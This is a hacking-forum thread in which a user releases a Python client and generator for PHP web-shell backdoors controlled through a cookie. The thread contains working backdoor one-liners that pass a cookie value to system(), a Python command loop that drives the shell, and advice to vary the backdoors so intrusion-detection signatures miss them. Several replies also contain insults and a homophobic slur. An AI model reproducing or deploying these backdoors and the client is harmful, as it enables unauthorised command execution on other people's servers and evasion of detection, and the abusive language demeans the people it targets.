[Nyckel]

So a little over a month ago I created a basic python script that allows you to interact with a PHP backdoor through a cookie. The process is simple:

Take user input --> Send Input as a cookie to designated script --> PHP RCE function executes the command and returns output

The nice thing about this is that I can use any type of PHP function/backdoor I want to execute my command. I've recently decided to revamp my script and release it here on HF. I've added a generator which automatically creates 3 different types of php backdoors that are compatible with my script. These include:

1. Preg_replace: utilizes preg_replace() with the \e modifier
   


2. Call_user_func: utilizes call_user_func() with system()
   


3. Non-alphanumeric: utilizes XOR to make a non-alphanumeric backdoor
   

Of course the beauty of this script is that you can use whatever type of backdoor you like, just make sure it executes $_COOKIE['p1r1'] or another if you just want to edit the python script all together. The script also returns everything between <pre> tags, so keep that in mind if your modding it.

ScreenShots:
-----------------------------------
Usage and Examples:
Spoiler (Click to View)

Generator and Shell
Spoiler (Click to View)

Think of this as something like a simplified and easily customizable Weevely or Webacoo. It's not meant to be anything special, but it still works well. Thanks for reading and I hope you enjoy.

http://pastebin.com/raw.php?i=tcdE9Ytv

[ktmercedes]

Great Effort. Really gonna try this one. Thank you for sharing

[SoLong]

I don't think I see myself in the credits section? Probably my vision, I'll go afk 5 mins and when I come back I expect it'll be there.

[BeggFoMercy]

I like it , Also I have made some thing familiar to that but in bash , Here you go If you want to take a look : https://hackforums.net/showthread.php?tid=3130669 .
Thanks for the share .

[Im gone brah]

I'll be sure to take a look at it D:

[HaxOr❤]

Aww, this is a nice tool. I'm gonna use it for sure. <3

[zeru_0_X]

Aww, this is a nice tool. I'm gonna use it for sure. <3

Is it just me or does that "bra" in your signature look like a big cock?
And hi :)

[Nyckel]

Code

print("Invalid Option: Exiting")
        exit(1)

why would you exit instead of try again?

If you can't manage to give it a number between 1 and 4, you deserve to have rerun the script.

Thanks for the responses everyone.

[Light Yagami.]

Is it just me or does that "bra" in your signature look like a big cock?
And hi :)

u are one gay person i hate u fagget
python python python is cool

[Keeper]

I hardly do anything beneficial on this forum anymore but for the sake of its salvation lemme bu.mp this.

[Krieg]

I hardly do anything beneficial on this forum anymore but for the sake of its salvation lemme bu.mp this.

And this is good?
Look at all the hardcoded backdoors. IDS signatures, here we come!

@Nyckel: If you release another version, dynamically generate the bd's.

Also:

PHP Code


<?php 
$eval = call_user_func(system, $_COOKIE['p1r1']);  // Thanks to big boi Phizo
$eval; 


No. You don't need the second line there. What the fuck are you doing even assigning it to a variable at all?

PHP Code


<?php 
call_user_func(system,$_COOKIE['p1r1']); 


works just fine.

[Nyckel]

And this is good?
Look at all the hardcoded backdoors. IDS signatures, here we come!

@Nyckel: If you release another version, dynamically generate the bd's.

Also:

PHP Code


<?php 
$eval = call_user_func(system, $_COOKIE['p1r1']);  // Thanks to big boi Phizo
$eval; 


No. You don't need the second line there. What the fuck are you doing even assigning it to a variable at all?

PHP Code


<?php 
call_user_func(system,$_COOKIE['p1r1']); 


works just fine.

Ye fuck you too buddy. I ripped that one from Phizo's tutorial, so make sure to poop on him as well (although I'm equally at fault). I don't think I'll be releasing another version, but I'll keep your criticisms in mind. Thanks bb.

[Keeper]

Ye fuck you too buddy. I ripped that one from Phizo's tutorial, so make sure to poop on him as well (although I'm equally at fault). I don't think I'll be releasing another version, but I'll keep your criticisms in mind. Thanks bb.

I'll ease his efforts. Here is Phizo's tutorial https://hackforums.net/showthread.php?tid=3591942

He did bad and should feel bad.

[Keeper]

hai kepp
hauu are you

IWAN IWANOW PETROW

faget lel

You've miscopied it. My name is with a "v" instead of "w".

[123penis]

Code

#Cookie Shell
def shell(site):
    signal.signal(signal.SIGINT, signal_handler)
    while True:
        http = httplib2.Http()
        cookie_value = "p1r1=" + raw_input("shell@dongathon:~$ ")
        headers = {'Cookie':cookie_value}
        response, content = http.request(site, 'GET', headers=headers)
        for item in content.split("</pre>"):
            if "<pre>" in item:
                out = item [ item.find("<pre>")+len("<pre>") : ]
                print(out[:-1])

You don't deserve to live.